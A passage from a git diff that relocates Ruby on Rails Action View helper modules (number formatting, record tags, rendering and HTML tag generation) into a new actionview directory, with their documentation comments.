+        content_tag(:script, javascript_cdata_section(content), html_options)
+      end
+
+      def javascript_cdata_section(content) #:nodoc:
+        "\n//#{cdata_section("\n#{content}\n//")}\n".html_safe
+      end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/helpers/number_helper.rb b/actionview/lib/action_view/helpers/number_helper.rb
new file mode 100644
index 0000000..7157a95
--- /dev/null
+++ b/actionview/lib/action_view/helpers/number_helper.rb
@@ -0,0 +1,434 @@
+# encoding: utf-8
+
+require 'active_support/core_ext/hash/keys'
+require 'active_support/core_ext/string/output_safety'
+require 'active_support/number_helper'
+
+module ActionView
+  # = Action View Number Helpers
+  module Helpers #:nodoc:
+
+    # Provides methods for converting numbers into formatted strings.
+    # Methods are provided for phone numbers, currency, percentage,
+    # precision, positional notation, file size and pretty printing.
+    #
+    # Most methods expect a +number+ argument, and will return it
+    # unchanged if can't be converted into a valid number.
+    module NumberHelper
+
+      # Raised when argument +number+ param given to the helpers is invalid and
+      # the option :raise is set to  +true+.
+      class InvalidNumberError < StandardError
+        attr_accessor :number
+        def initialize(number)
+          @number = number
+        end
+      end
+
+      # Formats a +number+ into a US phone number (e.g., (555)
+      # 123-9876). You can customize the format in the +options+ hash.
+      #
+      # ==== Options
+      #
+      # * <tt>:area_code</tt> - Adds parentheses around the area code.
+      # * <tt>:delimiter</tt> - Specifies the delimiter to use
+      #   (defaults to "-").
+      # * <tt>:extension</tt> - Specifies an extension to add to the
+      #   end of the generated number.
+      # * <tt>:country_code</tt> - Sets the country code for the phone
+      #   number.
+      # * <tt>:raise</tt> - If true, raises +InvalidNumberError+ when
+      #   the argument is invalid.
+      #
+      # ==== Examples
+      #
+      #   number_to_phone(5551234)                                           # => 555-1234
+      #   number_to_phone("5551234")                                         # => 555-1234
+      #   number_to_phone(1235551234)                                        # => 123-555-1234
+      #   number_to_phone(1235551234, area_code: true)                       # => (123) 555-1234
+      #   number_to_phone(1235551234, delimiter: " ")                        # => 123 555 1234
+      #   number_to_phone(1235551234, area_code: true, extension: 555)       # => (123) 555-1234 x 555
+      #   number_to_phone(1235551234, country_code: 1)                       # => +1-123-555-1234
+      #   number_to_phone("123a456")                                         # => 123a456
+      #   number_to_phone("1234a567", raise: true)                           # => InvalidNumberError
+      #
+      #   number_to_phone(1235551234, country_code: 1, extension: 1343, delimiter: ".")
+      #   # => +1.123.555.1234 x 1343
+      def number_to_phone(number, options = {})
+        return unless number
+        options = options.symbolize_keys
+
+        parse_float(number, true) if options.delete(:raise)
+        ERB::Util.html_escape(ActiveSupport::NumberHelper.number_to_phone(number, options))
+      end
+
+      # Formats a +number+ into a currency string (e.g., $13.65). You
+      # can customize the format in the +options+ hash.
+      #
+      # ==== Options
+      #
+      # * <tt>:locale</tt> - Sets the locale to be used for formatting
+      #   (defaults to current locale).
+      # * <tt>:precision</tt> - Sets the level of precision (defaults
+      #   to 2).
+      # * <tt>:unit</tt> - Sets the denomination of the currency
+      #   (defaults to "$").
+      # * <tt>:separator</tt> - Sets the separator between the units
+      #   (defaults to ".").
+      # * <tt>:delimiter</tt> - Sets the thousands delimiter (defaults
+      #   to ",").
+      # * <tt>:format</tt> - Sets the format for non-negative numbers
+      #   (defaults to "%u%n").  Fields are <tt>%u</tt> for the
+      #   currency, and <tt>%n</tt> for the number.
+      # * <tt>:negative_format</tt> - Sets the format for negative
+      #   numbers (defaults to prepending an hyphen to the formatted
+      #   number given by <tt>:format</tt>).  Accepts the same fields
+      #   than <tt>:format</tt>, except <tt>%n</tt> is here the
+      #   absolute value of the number.
+      # * <tt>:raise</tt> - If true, raises +InvalidNumberError+ when
+      #   the argument is invalid.
+      #
+      # ==== Examples
+      #
+      #   number_to_currency(1234567890.50)                    # => $1,234,567,890.50
+      #   number_to_currency(1234567890.506)                   # => $1,234,567,890.51
+      #   number_to_currency(1234567890.506, precision: 3)     # => $1,234,567,890.506
+      #   number_to_currency(1234567890.506, locale: :fr)      # => 1 234 567 890,51 €
+      #   number_to_currency("123a456")                        # => $123a456
+      #
+      #   number_to_currency("123a456", raise: true)           # => InvalidNumberError
+      #
+      #   number_to_currency(-1234567890.50, negative_format: "(%u%n)")
+      #   # => ($1,234,567,890.50)
+      #   number_to_currency(1234567890.50, unit: "R$", separator: ",", delimiter: "")
+      #   # => R$1234567890,50
+      #   number_to_currency(1234567890.50, unit: "R$", separator: ",", delimiter: "", format: "%n %u")
+      #   # => 1234567890,50 R$
+      def number_to_currency(number, options = {})
+        delegate_number_helper_method(:number_to_currency, number, options)
+      end
+
+      # Formats a +number+ as a percentage string (e.g., 65%). You can
+      # customize the format in the +options+ hash.
+      #
+      # ==== Options
+      #
+      # * <tt>:locale</tt> - Sets the locale to be used for formatting
+      #   (defaults to current locale).
+      # * <tt>:precision</tt> - Sets the precision of the number
+      #   (defaults to 3).
+      # * <tt>:significant</tt> - If +true+, precision will be the #
+      #   of significant_digits. If +false+, the # of fractional
+      #   digits (defaults to +false+).
+      # * <tt>:separator</tt> - Sets the separator between the
+      #   fractional and integer digits (defaults to ".").
+      # * <tt>:delimiter</tt> - Sets the thousands delimiter (defaults
+      #   to "").
+      # * <tt>:strip_insignificant_zeros</tt> - If +true+ removes
+      #   insignificant zeros after the decimal separator (defaults to
+      #   +false+).
+      # * <tt>:format</tt> - Specifies the format of the percentage
+      #   string The number field is <tt>%n</tt> (defaults to "%n%").
+      # * <tt>:raise</tt> - If true, raises +InvalidNumberError+ when
+      #   the argument is invalid.
+      #
+      # ==== Examples
+      #
+      #   number_to_percentage(100)                                        # => 100.000%
+      #   number_to_percentage("98")                                       # => 98.000%
+      #   number_to_percentage(100, precision: 0)                          # => 100%
+      #   number_to_percentage(1000, delimiter: '.', separator: ',')       # => 1.000,000%
+      #   number_to_percentage(302.24398923423, precision: 5)              # => 302.24399%
+      #   number_to_percentage(1000, locale: :fr)                          # => 1 000,000%
+      #   number_to_percentage("98a")                                      # => 98a%
+      #   number_to_percentage(100, format: "%n  %")                       # => 100  %
+      #
+      #   number_to_percentage("98a", raise: true)                         # => InvalidNumberError
+      def number_to_percentage(number, options = {})
+        delegate_number_helper_method(:number_to_percentage, number, options)
+      end
+
+      # Formats a +number+ with grouped thousands using +delimiter+
+      # (e.g., 12,324). You can customize the format in the +options+
+      # hash.
+      #
+      # ==== Options
+      #
+      # * <tt>:locale</tt> - Sets the locale to be used for formatting
+      #   (defaults to current locale).
+      # * <tt>:delimiter</tt> - Sets the thousands delimiter (defaults
+      #   to ",").
+      # * <tt>:separator</tt> - Sets the separator between the
+      #   fractional and integer digits (defaults to ".").
+      # * <tt>:raise</tt> - If true, raises +InvalidNumberError+ when
+      #   the argument is invalid.
+      #
+      # ==== Examples
+      #
+      #   number_with_delimiter(12345678)                        # => 12,345,678
+      #   number_with_delimiter("123456")                        # => 123,456
+      #   number_with_delimiter(12345678.05)                     # => 12,345,678.05
+      #   number_with_delimiter(12345678, delimiter: ".")        # => 12.345.678
+      #   number_with_delimiter(12345678, delimiter: ",")        # => 12,345,678
+      #   number_with_delimiter(12345678.05, separator: " ")     # => 12,345,678 05
+      #   number_with_delimiter(12345678.05, locale: :fr)        # => 12 345 678,05
+      #   number_with_delimiter("112a")                          # => 112a
+      #   number_with_delimiter(98765432.98, delimiter: " ", separator: ",")
+      #   # => 98 765 432,98
+      #
+      #  number_with_delimiter("112a", raise: true)              # => raise InvalidNumberError
+      def number_with_delimiter(number, options = {})
+        delegate_number_helper_method(:number_to_delimited, number, options)
+      end
+
+      # Formats a +number+ with the specified level of
+      # <tt>:precision</tt> (e.g., 112.32 has a precision of 2 if
+      # +:significant+ is +false+, and 5 if +:significant+ is +true+).
+      # You can customize the format in the +options+ hash.
+      #
+      # ==== Options
+      #
+      # * <tt>:locale</tt> - Sets the locale to be used for formatting
+      #   (defaults to current locale).
+      # * <tt>:precision</tt> - Sets the precision of the number
+      #   (defaults to 3).
+      # * <tt>:significant</tt> - If +true+, precision will be the #
+      #   of significant_digits. If +false+, the # of fractional
+      #   digits (defaults to +false+).
+      # * <tt>:separator</tt> - Sets the separator between the
+      #   fractional and integer digits (defaults to ".").
+      # * <tt>:delimiter</tt> - Sets the thousands delimiter (defaults
+      #   to "").
+      # * <tt>:strip_insignificant_zeros</tt> - If +true+ removes
+      #   insignificant zeros after the decimal separator (defaults to
+      #   +false+).
+      # * <tt>:raise</tt> - If true, raises +InvalidNumberError+ when
+      #   the argument is invalid.
+      #
+      # ==== Examples
+      #
+      #   number_with_precision(111.2345)                                         # => 111.235
+      #   number_with_precision(111.2345, precision: 2)                           # => 111.23
+      #   number_with_precision(13, precision: 5)                                 # => 13.00000
+      #   number_with_precision(389.32314, precision: 0)                          # => 389
+      #   number_with_precision(111.2345, significant: true)                      # => 111
+      #   number_with_precision(111.2345, precision: 1, significant: true)        # => 100
+      #   number_with_precision(13, precision: 5, significant: true)              # => 13.000
+      #   number_with_precision(111.234, locale: :fr)                             # => 111,234
+      #
+      #   number_with_precision(13, precision: 5, significant: true, strip_insignificant_zeros: true)
+      #   # => 13
+      #
+      #   number_with_precision(389.32314, precision: 4, significant: true)       # => 389.3
+      #   number_with_precision(1111.2345, precision: 2, separator: ',', delimiter: '.')
+      #   # => 1.111,23
+      def number_with_precision(number, options = {})
+        delegate_number_helper_method(:number_to_rounded, number, options)
+      end
+
+      # Formats the bytes in +number+ into a more understandable
+      # representation (e.g., giving it 1500 yields 1.5 KB). This
+      # method is useful for reporting file sizes to users. You can
+      # customize the format in the +options+ hash.
+      #
+      # See <tt>number_to_human</tt> if you want to pretty-print a
+      # generic number.
+      #
+      # ==== Options
+      #
+      # * <tt>:locale</tt> - Sets the locale to be used for formatting
+      #   (defaults to current locale).
+      # * <tt>:precision</tt> - Sets the precision of the number
+      #   (defaults to 3).
+      # * <tt>:significant</tt> - If +true+, precision will be the #
+      #   of significant_digits. If +false+, the # of fractional
+      #   digits (defaults to +true+)
+      # * <tt>:separator</tt> - Sets the separator between the
+      #   fractional and integer digits (defaults to ".").
+      # * <tt>:delimiter</tt> - Sets the thousands delimiter (defaults
+      #   to "").
+      # * <tt>:strip_insignificant_zeros</tt> - If +true+ removes
+      #   insignificant zeros after the decimal separator (defaults to
+      #   +true+)
+      # * <tt>:prefix</tt> - If +:si+ formats the number using the SI
+      #   prefix (defaults to :binary)
+      # * <tt>:raise</tt> - If true, raises +InvalidNumberError+ when
+      #   the argument is invalid.
+      #
+      # ==== Examples
+      #
+      #   number_to_human_size(123)                                          # => 123 Bytes
+      #   number_to_human_size(1234)                                         # => 1.21 KB
+      #   number_to_human_size(12345)                                        # => 12.1 KB
+      #   number_to_human_size(1234567)                                      # => 1.18 MB
+      #   number_to_human_size(1234567890)                                   # => 1.15 GB
+      #   number_to_human_size(1234567890123)                                # => 1.12 TB
+      #   number_to_human_size(1234567, precision: 2)                        # => 1.2 MB
+      #   number_to_human_size(483989, precision: 2)                         # => 470 KB
+      #   number_to_human_size(1234567, precision: 2, separator: ',')        # => 1,2 MB
+      #
+      # Non-significant zeros after the fractional separator are
+      # stripped out by default (set
+      # <tt>:strip_insignificant_zeros</tt> to +false+ to change
+      # that):
+      #
+      #   number_to_human_size(1234567890123, precision: 5)        # => "1.1229 TB"
+      #   number_to_human_size(524288000, precision: 5)            # => "500 MB"
+      def number_to_human_size(number, options = {})
+        delegate_number_helper_method(:number_to_human_size, number, options)
+      end
+
+      # Pretty prints (formats and approximates) a number in a way it
+      # is more readable by humans (eg.: 1200000000 becomes "1.2
+      # Billion"). This is useful for numbers that can get very large
+      # (and too hard to read).
+      #
+      # See <tt>number_to_human_size</tt> if you want to print a file
+      # size.
+      #
+      # You can also define you own unit-quantifier names if you want
+      # to use other decimal units (eg.: 1500 becomes "1.5
+      # kilometers", 0.150 becomes "150 milliliters", etc). You may
+      # define a wide range of unit quantifiers, even fractional ones
+      # (centi, deci, mili, etc).
+      #
+      # ==== Options
+      #
+      # * <tt>:locale</tt> - Sets the locale to be used for formatting
+      #   (defaults to current locale).
+      # * <tt>:precision</tt> - Sets the precision of the number
+      #   (defaults to 3).
+      # * <tt>:significant</tt> - If +true+, precision will be the #
+      #   of significant_digits. If +false+, the # of fractional
+      #   digits (defaults to +true+)
+      # * <tt>:separator</tt> - Sets the separator between the
+      #   fractional and integer digits (defaults to ".").
+      # * <tt>:delimiter</tt> - Sets the thousands delimiter (defaults
+      #   to "").
+      # * <tt>:strip_insignificant_zeros</tt> - If +true+ removes
+      #   insignificant zeros after the decimal separator (defaults to
+      #   +true+)
+      # * <tt>:units</tt> - A Hash of unit quantifier names. Or a
+      #   string containing an i18n scope where to find this hash. It
+      #   might have the following keys:
+      #   * *integers*: <tt>:unit</tt>, <tt>:ten</tt>,
+      #     *<tt>:hundred</tt>, <tt>:thousand</tt>, <tt>:million</tt>,
+      #     *<tt>:billion</tt>, <tt>:trillion</tt>,
+      #     *<tt>:quadrillion</tt>
+      #   * *fractionals*: <tt>:deci</tt>, <tt>:centi</tt>,
+      #     *<tt>:mili</tt>, <tt>:micro</tt>, <tt>:nano</tt>,
+      #     *<tt>:pico</tt>, <tt>:femto</tt>
+      # * <tt>:format</tt> - Sets the format of the output string
+      #   (defaults to "%n %u"). The field types are:
+      #   * %u - The quantifier (ex.: 'thousand')
+      #   * %n - The number
+      # * <tt>:raise</tt> - If true, raises +InvalidNumberError+ when
+      #   the argument is invalid.
+      #
+      # ==== Examples
+      #
+      #   number_to_human(123)                                          # => "123"
+      #   number_to_human(1234)                                         # => "1.23 Thousand"
+      #   number_to_human(12345)                                        # => "12.3 Thousand"
+      #   number_to_human(1234567)                                      # => "1.23 Million"
+      #   number_to_human(1234567890)                                   # => "1.23 Billion"
+      #   number_to_human(1234567890123)                                # => "1.23 Trillion"
+      #   number_to_human(1234567890123456)                             # => "1.23 Quadrillion"
+      #   number_to_human(1234567890123456789)                          # => "1230 Quadrillion"
+      #   number_to_human(489939, precision: 2)                         # => "490 Thousand"
+      #   number_to_human(489939, precision: 4)                         # => "489.9 Thousand"
+      #   number_to_human(1234567, precision: 4,
+      #                           significant: false)                   # => "1.2346 Million"
+      #   number_to_human(1234567, precision: 1,
+      #                           separator: ',',
+      #                           significant: false)                   # => "1,2 Million"
+      #
+      # Non-significant zeros after the decimal separator are stripped
+      # out by default (set <tt>:strip_insignificant_zeros</tt> to
+      # +false+ to change that):
+      #   number_to_human(12345012345, significant_digits: 6)       # => "12.345 Billion"
+      #   number_to_human(500000000, precision: 5)                  # => "500 Million"
+      #
+      # ==== Custom Unit Quantifiers
+      #
+      # You can also use your own custom unit quantifiers:
+      #  number_to_human(500000, units: {unit: "ml", thousand: "lt"})  # => "500 lt"
+      #
+      # If in your I18n locale you have:
+      #   distance:
+      #     centi:
+      #       one: "centimeter"
+      #       other: "centimeters"
+      #     unit:
+      #       one: "meter"
+      #       other: "meters"
+      #     thousand:
+      #       one: "kilometer"
+      #       other: "kilometers"
+      #     billion: "gazillion-distance"
+      #
+      # Then you could do:
+      #
+      #  number_to_human(543934, units: :distance)              # => "544 kilometers"
+      #  number_to_human(54393498, units: :distance)            # => "54400 kilometers"
+      #  number_to_human(54393498000, units: :distance)         # => "54.4 gazillion-distance"
+      #  number_to_human(343, units: :distance, precision: 1)   # => "300 meters"
+      #  number_to_human(1, units: :distance)                   # => "1 meter"
+      #  number_to_human(0.34, units: :distance)                # => "34 centimeters"
+      #
+      def number_to_human(number, options = {})
+        delegate_number_helper_method(:number_to_human, number, options)
+      end
+
+      private
+
+      def delegate_number_helper_method(method, number, options)
+        return unless number
+        options = escape_unsafe_options(options.symbolize_keys)
+
+        wrap_with_output_safety_handling(number, options.delete(:raise)) {
+          ActiveSupport::NumberHelper.public_send(method, number, options)
+        }
+      end
+
+      def escape_unsafe_options(options)
+        options[:format]          = ERB::Util.html_escape(options[:format]) if options[:format]
+        options[:negative_format] = ERB::Util.html_escape(options[:negative_format]) if options[:negative_format]
+        options[:separator]       = ERB::Util.html_escape(options[:separator]) if options[:separator]
+        options[:delimiter]       = ERB::Util.html_escape(options[:delimiter]) if options[:delimiter]
+        options[:unit]            = ERB::Util.html_escape(options[:unit]) if options[:unit] && !options[:unit].html_safe?
+        options[:units]           = escape_units(options[:units]) if options[:units] && Hash === options[:units]
+        options
+      end
+
+      def escape_units(units)
+        Hash[units.map do |k, v|
+          [k, ERB::Util.html_escape(v)]
+        end]
+      end
+
+      def wrap_with_output_safety_handling(number, raise_on_invalid, &block)
+        valid_float = valid_float?(number)
+        raise InvalidNumberError, number if raise_on_invalid && !valid_float
+
+        formatted_number = yield
+
+        if valid_float || number.html_safe?
+          formatted_number.html_safe
+        else
+          formatted_number
+        end
+      end
+
+      def valid_float?(number)
+        !parse_float(number, false).nil?
+      end
+
+      def parse_float(number, raise_error)
+        Float(number)
+      rescue ArgumentError, TypeError
+        raise InvalidNumberError, number if raise_error
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_view/helpers/output_safety_helper.rb b/actionview/lib/action_view/helpers/output_safety_helper.rb
similarity index 100%
rename from actionpack/lib/action_view/helpers/output_safety_helper.rb
rename to actionview/lib/action_view/helpers/output_safety_helper.rb
diff --git a/actionview/lib/action_view/helpers/record_tag_helper.rb b/actionview/lib/action_view/helpers/record_tag_helper.rb
new file mode 100644
index 0000000..77c3e6d
--- /dev/null
+++ b/actionview/lib/action_view/helpers/record_tag_helper.rb
@@ -0,0 +1,108 @@
+require 'action_view/record_identifier'
+
+module ActionView
+  # = Action View Record Tag Helpers
+  module Helpers
+    module RecordTagHelper
+      include ActionView::RecordIdentifier
+
+      # Produces a wrapper DIV element with id and class parameters that
+      # relate to the specified Active Record object. Usage example:
+      #
+      #    <%= div_for(@person, class: "foo") do %>
+      #       <%= @person.name %>
+      #    <% end %>
+      #
+      # produces:
+      #
+      #    <div id="person_123" class="person foo"> Joe Bloggs </div>
+      #
+      # You can also pass an array of Active Record objects, which will then
+      # get iterated over and yield each record as an argument for the block.
+      # For example:
+      #
+      #    <%= div_for(@people, class: "foo") do |person| %>
+      #      <%= person.name %>
+      #    <% end %>
+      #
+      # produces:
+      #
+      #    <div id="person_123" class="person foo"> Joe Bloggs </div>
+      #    <div id="person_124" class="person foo"> Jane Bloggs </div>
+      #
+      def div_for(record, *args, &block)
+        content_tag_for(:div, record, *args, &block)
+      end
+
+      # content_tag_for creates an HTML element with id and class parameters
+      # that relate to the specified Active Record object. For example:
+      #
+      #    <%= content_tag_for(:tr, @person) do %>
+      #      <td><%= @person.first_name %></td>
+      #      <td><%= @person.last_name %></td>
+      #    <% end %>
+      #
+      # would produce the following HTML (assuming @person is an instance of
+      # a Person object, with an id value of 123):
+      #
+      #    <tr id="person_123" class="person">....</tr>
+      #
+      # If you require the HTML id attribute to have a prefix, you can specify it:
+      #
+      #    <%= content_tag_for(:tr, @person, :foo) do %> ...
+      #
+      # produces:
+      #
+      #    <tr id="foo_person_123" class="person">...
+      #
+      # You can also pass an array of objects which this method will loop through
+      # and yield the current object to the supplied block, reducing the need for
+      # having to iterate through the object (using <tt>each</tt>) beforehand.
+      # For example (assuming @people is an array of Person objects):
+      #
+      #    <%= content_tag_for(:tr, @people) do |person| %>
+      #      <td><%= person.first_name %></td>
+      #      <td><%= person.last_name %></td>
+      #    <% end %>
+      #
+      # produces:
+      #
+      #    <tr id="person_123" class="person">...</tr>
+      #    <tr id="person_124" class="person">...</tr>
+      #
+      # content_tag_for also accepts a hash of options, which will be converted to
+      # additional HTML attributes. If you specify a <tt>:class</tt> value, it will be combined
+      # with the default class name for your object. For example:
+      #
+      #    <%= content_tag_for(:li, @person, class: "bar") %>...
+      #
+      # produces:
+      #
+      #    <li id="person_123" class="person bar">...
+      #
+      def content_tag_for(tag_name, single_or_multiple_records, prefix = nil, options = nil, &block)
+        options, prefix = prefix, nil if prefix.is_a?(Hash)
+
+        Array(single_or_multiple_records).map do |single_record|
+          content_tag_for_single_record(tag_name, single_record, prefix, options, &block)
+        end.join("\n").html_safe
+      end
+
+      private
+
+        # Called by <tt>content_tag_for</tt> internally to render a content tag
+        # for each record.
+        def content_tag_for_single_record(tag_name, record, prefix, options, &block)
+          options = options ? options.dup : {}
+          options[:class] = [ dom_class(record, prefix), options[:class] ].compact
+          options[:id]    = dom_id(record, prefix)
+
+          if block_given?
+            content_tag(tag_name, capture(record, &block), options)
+          else
+            content_tag(tag_name, "", options)
+          end
+        end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/helpers/rendering_helper.rb b/actionview/lib/action_view/helpers/rendering_helper.rb
new file mode 100644
index 0000000..ebfc35a
--- /dev/null
+++ b/actionview/lib/action_view/helpers/rendering_helper.rb
@@ -0,0 +1,98 @@
+module ActionView
+  module Helpers
+    # = Action View Rendering
+    #
+    # Implements methods that allow rendering from a view context.
+    # In order to use this module, all you need is to implement
+    # view_renderer that returns an ActionView::Renderer object.
+    module RenderingHelper
+      # Returns the result of a render that's dictated by the options hash. The primary options are:
+      #
+      # * <tt>:partial</tt> - See <tt>ActionView::PartialRenderer</tt>.
+      # * <tt>:file</tt> - Renders an explicit template file (this used to be the old default), add :locals to pass in those.
+      # * <tt>:inline</tt> - Renders an inline template similar to how it's done in the controller.
+      # * <tt>:text</tt> - Renders the text passed in out.
+      # * <tt>:plain</tt> - Renders the text passed in out. Setting the content
+      # type as <tt>text/plain</tt>.
+      # * <tt>:html</tt> - Renders the html safe string passed in out, otherwise
+      # performs html escape on the string first. Setting the content type as
+      # <tt>text/html</tt>.
+      # * <tt>:body</tt> - Renders the text passed in, and inherits the content
+      # type of <tt>text/html</tt> from <tt>ActionDispatch::Response</tt>
+      # object.
+      #
+      # If no options hash is passed or :update specified, the default is to render a partial and use the second parameter
+      # as the locals hash.
+      def render(options = {}, locals = {}, &block)
+        case options
+        when Hash
+          if block_given?
+            view_renderer.render_partial(self, options.merge(:partial => options[:layout]), &block)
+          else
+            view_renderer.render(self, options)
+          end
+        else
+          view_renderer.render_partial(self, :partial => options, :locals => locals)
+        end
+      end
+
+      # Overwrites _layout_for in the context object so it supports the case a block is
+      # passed to a partial. Returns the contents that are yielded to a layout, given a
+      # name or a block.
+      #
+      # You can think of a layout as a method that is called with a block. If the user calls
+      # <tt>yield :some_name</tt>, the block, by default, returns <tt>content_for(:some_name)</tt>.
+      # If the user calls simply +yield+, the default block returns <tt>content_for(:layout)</tt>.
+      #
+      # The user can override this default by passing a block to the layout:
+      #
+      #   # The template
+      #   <%= render layout: "my_layout" do %>
+      #     Content
+      #   <% end %>
+      #
+      #   # The layout
+      #   <html>
+      #     <%= yield %>
+      #   </html>
+      #
+      # In this case, instead of the default block, which would return <tt>content_for(:layout)</tt>,
+      # this method returns the block that was passed in to <tt>render :layout</tt>, and the response
+      # would be
+      #
+      #   <html>
+      #     Content
+      #   </html>
+      #
+      # Finally, the block can take block arguments, which can be passed in by +yield+:
+      #
+      #   # The template
+      #   <%= render layout: "my_layout" do |customer| %>
+      #     Hello <%= customer.name %>
+      #   <% end %>
+      #
+      #   # The layout
+      #   <html>
+      #     <%= yield Struct.new(:name).new("David") %>
+      #   </html>
+      #
+      # In this case, the layout would receive the block passed into <tt>render :layout</tt>,
+      # and the struct specified would be passed into the block as an argument. The result
+      # would be
+      #
+      #   <html>
+      #     Hello David
+      #   </html>
+      #
+      def _layout_for(*args, &block)
+        name = args.first
+
+        if block && !name.is_a?(Symbol)
+          capture(*args, &block)
+        else
+          super
+        end
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_view/helpers/sanitize_helper.rb b/actionview/lib/action_view/helpers/sanitize_helper.rb
similarity index 100%
rename from actionpack/lib/action_view/helpers/sanitize_helper.rb
rename to actionview/lib/action_view/helpers/sanitize_helper.rb
diff --git a/actionview/lib/action_view/helpers/tag_helper.rb b/actionview/lib/action_view/helpers/tag_helper.rb
new file mode 100644
index 0000000..3528381
--- /dev/null
+++ b/actionview/lib/action_view/helpers/tag_helper.rb
@@ -0,0 +1,176 @@
+require 'active_support/core_ext/string/output_safety'
+require 'set'
+
+module ActionView
+  # = Action View Tag Helpers
+  module Helpers #:nodoc:
+    # Provides methods to generate HTML tags programmatically when you can't use
+    # a Builder. By default, they output XHTML compliant tags.
+    module TagHelper
+      extend ActiveSupport::Concern
+      include CaptureHelper
+
+      BOOLEAN_ATTRIBUTES = %w(disabled readonly multiple checked autobuffer
+                           autoplay controls loop selected hidden scoped async
+                           defer reversed ismap seamless muted required
+                           autofocus novalidate formnovalidate open pubdate
+                           itemscope allowfullscreen default inert sortable
+                           truespeed typemustmatch).to_set
+
+      BOOLEAN_ATTRIBUTES.merge(BOOLEAN_ATTRIBUTES.map {|attribute| attribute.to_sym })
+
+      PRE_CONTENT_STRINGS = {
+        :textarea => "\n"
+      }
+
+      # Returns an empty HTML tag of type +name+ which by default is XHTML
+      # compliant. Set +open+ to true to create an open tag compatible
+      # with HTML 4.0 and below. Add HTML attributes by passing an attributes
+      # hash to +options+. Set +escape+ to false to disable attribute value
+      # escaping.
+      #
+      # ==== Options
+      # You can use symbols or strings for the attribute names.
+      #
+      # Use +true+ with boolean attributes that can render with no value, like
+      # +disabled+ and +readonly+.
+      #
+      # HTML5 <tt>data-*</tt> attributes can be set with a single +data+ key
+      # pointing to a hash of sub-attributes.
+      #
+      # To play nicely with JavaScript conventions sub-attributes are dasherized.
+      # For example, a key +user_id+ would render as <tt>data-user-id</tt> and
+      # thus accessed as <tt>dataset.userId</tt>.
+      #
+      # Values are encoded to JSON, with the exception of strings and symbols.
+      # This may come in handy when using jQuery's HTML5-aware <tt>.data()</tt>
+      # from 1.4.3.
+      #
+      # ==== Examples
+      #   tag("br")
+      #   # => <br />
+      #
+      #   tag("br", nil, true)
+      #   # => <br>
+      #
+      #   tag("input", type: 'text', disabled: true)
+      #   # => <input type="text" disabled="disabled" />
+      #
+      #   tag("img", src: "open & shut.png")
+      #   # => <img src="open & shut.png" />
+      #
+      #   tag("img", {src: "open & shut.png"}, false, false)
+      #   # => <img src="open & shut.png" />
+      #
+      #   tag("div", data: {name: 'Stephen', city_state: %w(Chicago IL)})
+      #   # => <div data-name="Stephen" data-city-state="["Chicago","IL"]" />
+      def tag(name, options = nil, open = false, escape = true)
+        "<#{name}#{tag_options(options, escape) if options}#{open ? ">" : " />"}".html_safe
+      end
+
+      # Returns an HTML block tag of type +name+ surrounding the +content+. Add
+      # HTML attributes by passing an attributes hash to +options+.
+      # Instead of passing the content as an argument, you can also use a block
+      # in which case, you pass your +options+ as the second parameter.
+      # Set escape to false to disable attribute value escaping.
+      #
+      # ==== Options
+      # The +options+ hash is used with attributes with no value like (<tt>disabled</tt> and
+      # <tt>readonly</tt>), which you can give a value of true in the +options+ hash. You can use
+      # symbols or strings for the attribute names.
+      #
+      # ==== Examples
+      #   content_tag(:p, "Hello world!")
+      #    # => <p>Hello world!</p>
+      #   content_tag(:div, content_tag(:p, "Hello world!"), class: "strong")
+      #    # => <div class="strong"><p>Hello world!</p></div>
+      #   content_tag("select", options, multiple: true)
+      #    # => <select multiple="multiple">...options...</select>
+      #
+      #   <%= content_tag :div, class: "strong" do -%>
+      #     Hello world!
+      #   <% end -%>
+      #    # => <div class="strong">Hello world!</div>
+      def content_tag(name, content_or_options_with_block = nil, options = nil, escape = true, &block)
+        if block_given?
+          options = content_or_options_with_block if content_or_options_with_block.is_a?(Hash)
+          content_tag_string(name, capture(&block), options, escape)
+        else
+          content_tag_string(name, content_or_options_with_block, options, escape)
+        end
+      end
+
+      # Returns a CDATA section with the given +content+. CDATA sections
+      # are used to escape blocks of text containing characters which would
+      # otherwise be recognized as markup. CDATA sections begin with the string
+      # <tt><![CDATA[</tt> and end with (and may not contain) the string <tt>]]></tt>.
+      #
+      #   cdata_section("<hello world>")
+      #   # => <![CDATA[<hello world>]]>
+      #
+      #   cdata_section(File.read("hello_world.txt"))
+      #   # => <![CDATA[<hello from a text file]]>
+      #
+      #   cdata_section("hello]]>world")
+      #   # => <![CDATA[hello]]]]><![CDATA[>world]]>
+      def cdata_section(content)
+        splitted = content.to_s.gsub(']]>', ']]]]><![CDATA[>')
+        "<![CDATA[#{splitted}]]>".html_safe
+      end
+
+      # Returns an escaped version of +html+ without affecting existing escaped entities.
+      #
+      #   escape_once("1 < 2 & 3")
+      #   # => "1 < 2 & 3"
+      #
+      #   escape_once("<< Accept & Checkout")
+      #   # => "<< Accept & Checkout"
+      def escape_once(html)
+        ERB::Util.html_escape_once(html)
+      end
+
+      private
+
+        def content_tag_string(name, content, options, escape = true)
+          tag_options = tag_options(options, escape) if options
+          content     = ERB::Util.h(content) if escape
+          "<#{name}#{tag_options}>#{PRE_CONTENT_STRINGS[name.to_sym]}#{content}</#{name}>".html_safe
+        end
+
+        def tag_options(options, escape = true)
+          return if options.blank?
+          attrs = []
+          options.each_pair do |key, value|
+            if key.to_s == 'data' && value.is_a?(Hash)
+              value.each_pair do |k, v|
+                attrs << data_tag_option(k, v, escape)
+              end
+            elsif BOOLEAN_ATTRIBUTES.include?(key)
+              attrs << boolean_tag_option(key) if value
+            elsif !value.nil?
+              attrs << tag_option(key, value, escape)
+            end
+          end
+          " #{attrs.sort! * ' '}" unless attrs.empty?
+        end
+
+        def data_tag_option(key, value, escape)
+          key   = "data-#{key.to_s.dasherize}"
+          unless value.is_a?(String) || value.is_a?(Symbol) || value.is_a?(BigDecimal)
+            value = value.to_json
+          end
+          tag_option(key, value, escape)
+        end
+
+        def boolean_tag_option(key)
+          %(#{key}="#{key}")
+        end
+
+        def tag_option(key, value, escape)
+          value = value.join(" ") if value.is_a?(Array)
+          value = ERB::Util.h(value) if escape
+          %(#{key}="#{value}")
+        end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/helpers/tags.rb b/actionview/lib/action_view/helpers/tags.rb
new file mode 100644
index 0000000..45c75d1
--- /dev/null
